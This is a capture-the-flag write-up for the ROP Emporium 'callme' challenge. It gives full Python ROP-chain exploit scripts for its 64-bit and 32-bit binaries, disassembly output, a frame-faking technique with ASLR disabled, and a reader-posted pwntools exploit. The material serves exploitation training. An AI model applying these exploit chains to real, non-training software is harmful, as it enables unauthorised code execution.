ROP Emporium | callme Solution

Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.

The binary and challenge description can be found here:
https://ropemporium.com/challenge/callme.html

The 64-bit version of this challenge is actually very similar to the previous challenge, though we’re now making multiple function calls that require arguments instead of just one. The 32-bit version, however, requires a bit more thought. So I’ll cover solutions to both versions.

64-bit Version

The challenge page gives us a lot of info to reduce the need to do any RE, though it doesn’t eliminate that. We know that we need to pass the integers 1, 2, and 3 to the callme functions. But how are the integers passed? 64-bit programs usually pass integers via the registers, but which registers? Let’s look at the assembly for callme_one() to figure it out:

andrew ~/callme $ r2 libcallme.so 
[0x000007f0]> aa
[Cannot analyze at 0x000007e0g with sym. and entry0 (aa)
Cannot analyze at 0x000007e8
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x000007f0]> pdf @ sym.callme_one
┌ (fcn) sym.callme_one 228
│   sym.callme_one (int32_t arg1, int32_t arg2, int32_t arg3);
│           ; var int32_t var_1ch @ rbp-0x1c
│           ; var int32_t var_18h @ rbp-0x18
│           ; var int32_t var_14h @ rbp-0x14
│           ; var int32_t var_8h @ rbp-0x8
│           ; arg int32_t arg1 @ rdi
│           ; arg int32_t arg2 @ rsi
│           ; arg int32_t arg3 @ rdx
│           0x000008f0      push rbp
│           0x000008f1      mov rbp, rsp
│           0x000008f4      sub rsp, 0x20
│           0x000008f8      mov dword [var_14h], edi                   ; arg1
│           0x000008fb      mov dword [var_18h], esi                   ; arg2
│           0x000008fe      mov dword [var_1ch], edx                   ; arg3
│           0x00000901      cmp dword [var_14h], 1
│       ┌─< 0x00000905      jne 0x9bb
│       │   0x0000090b      cmp dword [var_18h], 2
│      ┌──< 0x0000090f      jne 0x9bb
│      ││   0x00000915      cmp dword [var_1ch], 3
│     ┌───< 0x00000919      jne 0x9bb

We can see that the values of EDI, ESI, and EDX are saved to places on the stack reserved for local variables. We can see that EDI is compared to 1, ESI is compared to 2, and EDX is compared to 3. So our ROP chain will need to include a way of getting those values saved to those registers before calling the callme functions.

Past challenges included “useful” functions. Using rabin2, we see two symbols:

andrew ~/callme $ rabin2 -s callme | grep useful
039 0x00001a57 0x00401a57  LOCAL   FUNC   74 usefulFunction
076 0x00001ab0 0x00401ab0 GLOBAL NOTYPE    0 usefulGadgets

While usefulGadgets isn’t a function, it’s easy enough to find with objdump:

andrew ~/callme $ objdump -Mintel --no-show-raw-insn -d callme 
...
0000000000401ab0 <usefulGadgets>:
  401ab0:       pop    rdi
  401ab1:       pop    rsi
  401ab2:       pop    rdx
  401ab3:       ret    
  401ab4:       nop    WORD PTR cs:[rax+rax*1+0x0]
  401abe:       xchg   ax,ax
...

We can also find it in radare2 by scrolling through Visual mode:

That gadget, at 0x401ab0, is exactly what we need. Pop 3 items off the stack into the necessary registers, followed by ret.

So when we build this exploit, we’ll need need the buffer to contain the address for the gadget (0x401ab0), the 3 integer values (1, 2, & 3), and the address of the callme function. That will repeat 3 times, once for each callme function. The input should look something like this:

"A" * 40 => buffer
Address1 => usefulGadget        ─┐
Integer1 => 0x0000000000000001   │
Integer2 => 0x0000000000000002   ├─ Repeats 3 times
Integer3 => 0x0000000000000003   │
Address2 => callme_one()        ─┘

Now I just need the addresses of the callme functions:

andrew ~/callme $ rabin2 -s callme | grep callme_
004 0x00001810 0x00401810 GLOBAL   FUNC   16 imp.callme_three
008 0x00001850 0x00401850 GLOBAL   FUNC   16 imp.callme_one
011 0x00001870 0x00401870 GLOBAL   FUNC   16 imp.callme_two

Solution

As a final solution, I put together this Python script:

#!/usr/bin/env python3
import struct
import sys

gadget = struct.pack("Q", 0x401ab0) # pop rdi; pop rsi; pop rdx; ret
one = struct.pack("Q", 0x1)
two = struct.pack("Q", 0x2)
three = struct.pack("Q", 0x3)

buf  = b"A" * 40
buf += gadget
buf += one
buf += two
buf += three
buf += struct.pack("Q", 0x401850) # callme_one()
buf += gadget
buf += one
buf += two
buf += three
buf += struct.pack("Q", 0x401870) # callme_two()
buf += gadget
buf += one
buf += two
buf += three
buf += struct.pack("Q", 0x401810) # callme_three()

sys.stdout.buffer.write(buf)

Running the exploit:

andrew ~/callme $ ./exploit.py | ./callme 
callme by ROP Emporium
64bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}

32-bit Version

Before diving into the 32-bit version, I would like to point out a very useful Phrack article that describes a technique for chaining function calls in a ROP chain: http://phrack.org/issues/58/4.html#article
Specifically, the “3.3 – frame faking” section. I would recommend reading that before attempting this.

There’s one major difference between the 32-bit version and 64-bit version. Arguments are passed to the callme functions via the stack in the 32-bit version. Let’s look at the disassembly for callme_one():

[0x000005a0]> pdf @ sym.callme_one
┌ (fcn) sym.callme_one 253
│   sym.callme_one (int32_t arg_8h, int32_t arg_ch, int32_t arg_10h);
│           ; var int32_t var_ch @ ebp-0xc
│           ; var int32_t var_4h @ ebp-0x4
│           ; arg int32_t arg_8h @ ebp+0x8
│           ; arg int32_t arg_ch @ ebp+0xc
│           ; arg int32_t arg_10h @ ebp+0x10
│           0x000006d0      push ebp
│           0x000006d1      mov ebp, esp
│           0x000006d3      push ebx
│           0x000006d4      sub esp, 0x14
│           0x000006d7      call entry0
│           0x000006dc      add ebx, 0x1924
│           0x000006e2      cmp dword [arg_8h], 1
│       ┌─< 0x000006e6      jne 0x7ab
│       │   0x000006ec      cmp dword [arg_ch], 2
│      ┌──< 0x000006f0      jne 0x7ab
│      ││   0x000006f6      cmp dword [arg_10h], 3
│     ┌───< 0x000006fa      jne 0x7ab

You can see that the integers 1, 2, and 3 are compared to arguments on the stack. These are ebp+0x8, ebp+0xc, and ebp+0x10 respectively.

This makes the job of calling consecutive functions a little more difficult. If we only needed to call one of these functions, our exploit payload would look something like this:

"A" * 40 => buffer
Address1 => callme_one()
Address2 => dummy return value
Integer1 => 0x00000001
Integer2 => 0x00000002
Integer3 => 0x00000003

However, since we need to call callme_two() right afterward, we can’t just put it’s address in the spot of Address2 because that is going to need it’s own saved return value, which is where Integer1 currently sits.

We can, however, use the “frame faking” method described in the Phrack article. First, we need to find a "leave; ret" gadget, which is a typical function epilogue. The leave instruction is equivalent to mov esp, ebp; pop ebp while the ret instruction is simply pop eip. For this to work, our buffer of A’s needs to stop before the saved EBP value. We overwrite the saved EBP value with a pointer to the next “frame’s” saved EBP value. We overwrite the saved EIP pointer with a pointer to the “leaveret” gadget. After that the first “frame” begins, which includes a saved EBP value (which is a pointer to the next frame’s EBP), a pointer to the first function call (callme_one() in this case), a pointer to the leaveret gadget, followed by the required arguments. I’ll try to visualize this:

  Address  |   Content  | Description
-----------+------------+-------------
0x00000000 |  "A" * 40  | Buffer
0x00000020 | 0x00000028 | Fake ebp0 pointing to next ebp
0x00000024 | GadgetAddr | Address to leaveret gadget
0x00000028 | 0x00000040 | Fake ebp1 pointing to fake ebp2  ─┐
0x0000002c | callme_one | Address to callme_one()           │
0x00000030 | GadgetAddr | Address to leaveret gadget        ├─ Repeats 3 times
0x00000034 | 0x00000001 | Integer 1                         │
0x00000038 | 0x00000002 | Integer 2                         │
0x0000003c | 0x00000003 | Integer 3                        ─┘

The only problem with this approach is that you need the exact addresses of your fake EBP values on the stack. I could easily find where everything is on the stack by running the program through a debugger, like GDB or rardare2. However, the stack addresses will be different as the environment variables differ when run through debuggers. Instead, I’ll enable core dumps, cause a segfault, and analyze the dump in a debugger. Also, I’ll want to make sure ASLR is disabled:

andrew ~/callme32 $ sudo -i

root ~ # echo 0 > /proc/sys/kernel/randomize_va_space

root ~ # ulimit -c unlimited

root ~ # echo core > /proc/sys/kernel/core_pattern

root ~ # exit
logout

andrew ~/callme32 $ python2 -c 'print "A"*45' | ./callme32 
callme by ROP Emporium
32bits

Hope you read the instructions...
> Segmentation fault (core dumped)

andrew ~/callme32 $ ls
callme32  core.2458  encrypted_flag.txt  key1.dat  key2.dat  libcallme32.so

Now that I have the core dump, I can analyze it in radare2. I’ll see the value of the EIP register, search for that value (since I know it’s on the stack) and subtract 8 from that to get the location of the saved EBP pointer:

andrew ~/callme32 $ r2 core.2458
Setting up coredump arch-bits to: x86-32
Setting up coredump: Registers have been set
Setting up coredump: 22 maps have been found and created

[0x08000a41]> dr eip
0x08000a41

[0x08000a41]> /x 410a0008
Searching 4 bytes in [0xfffdd000-0xffffe000]
hits: 1
Searching 4 bytes in [0xf7ffd000-0xf7ffe000]
hits: 0
...snip...
Searching 4 bytes in [0x8049000-0x804a000]
hits: 0
Searching 4 bytes in [0x8048000-0x8049000]
hits: 0
0xffffd13c hit0_0 410a0008

[0x08000a41]> fs search

[0x08000a41]> f
0xffffd13c 4 hit0_0

The saved EIP return value was at 0xffffd13c, which means the saved EBP value was at 0xffffd138.

Solution

For my script, I made it easy by requiring only the location of the original saved EBP value. The calculations are automatically done to get each saved EBP value to point to the next.

#!/usr/bin/env python3
import struct
import sys
import time

leaveret = struct.pack("I", 0xf7fca635) # leave; ret
one = struct.pack("I", 0x1)
two = struct.pack("I", 0x2)
three = struct.pack("I", 0x3)
ebp = 0xffffd138  # Location of the original saved EBP value on the stack

buf  = b"A" * 40
buf += struct.pack("I", ebp + 8) # fake ebp0
buf += leaveret
buf += struct.pack("I", ebp + 32) # fake ebp1
buf += struct.pack("I", 0x080485c0) # callme_one()
buf += leaveret
buf += one
buf += two
buf += three
buf += struct.pack("I", ebp + 56) # fake ebp2
buf += struct.pack("I", 0x08048620) # callme_two()
buf += leaveret
buf += one
buf += two
buf += three
buf += struct.pack("I", ebp + 80) # fake ebp3
buf += struct.pack("I", 0x080485b0) # callme_three()
buf += leaveret
buf += one
buf += two
buf += three

sys.stdout.buffer.write(buf)

Running the exploit:

andrew ~/callme32 $ ./exploit.py | ./callme32 
callme by ROP Emporium
32bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}

5 thoughts on “ROP Emporium | callme Solution

  1. qmi says:

    Hi,
    thanks for your blog, great work! Just one addition. In the 64-bit solution, after invoking the callme_three() function, you don’t need to invoke gadget and set up one,two,three again. It’s the end of it. The last line being callme_three() is sufficient for the exploit to work.
    I hope this helps to perfect your solution 🙂
    Regards,
    qmi

    Reply
  2. scriptkid says:

    #This is my callme32 writeup
    # pwnme(overflow) -> callme_one -> pwnme(overflow) -> callme_two -> pwnme(overflow) -> callme_three -> 0x41414141

    from pwn import *

    context.terminal = [“tmux”, “split-window”, “-h”]
    callme32_process = process(“callme32”)
    callme32 = ELF(“callme32”)
    callme_one_plt = callme32.plt[“callme_one”]
    callme_two_plt = callme32.plt[“callme_two”]
    callme_three_plt = callme32.plt[“callme_three”]
    pwnme = callme32.symbols[“pwnme”]

    exp = “A” * (0x28 + 0x4)
    exp += p32(callme_one_plt)
    exp += p32(pwnme)
    exp += p32(1)
    exp += p32(2)
    exp += p32(3)
    callme32_process.sendline(exp)

    exp0 = “A” * 44
    exp0 += p32(callme_two_plt)
    exp0 += p32(pwnme)
    exp0 += p32(1)
    exp0 += p32(2)
    exp0 += p32(3)
    callme32_process.sendline(exp0)

    exp1 = “A” * 44
    exp1 += p32(callme_three_plt)
    exp1 += p32(0x41414141)
    exp1 += p32(1)
    exp1 += p32(2)
    exp1 += p32(3)
    callme32_process.sendline(exp1)

    print(callme32_process.recvall())
    callme32_process.interactive()

    Reply
  3. Veritas91 says:

    I run the x64 version of the binary I hit the gadget I prepare the stack I pass the first check but after this, the execution continues after the call callme_one() instruction. the library function uses leave; ret; as epilogue any Idea how to solve this

    Reply
    1. Andrew Lamarra says:

      You shouldn’t need to call any library functions. Did you test my solution on it? If it doesn’t work, that’s because ROP Emporium has updated a lot of (if not most of) the binaries have been updated since I wrote up these solutions.

      Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.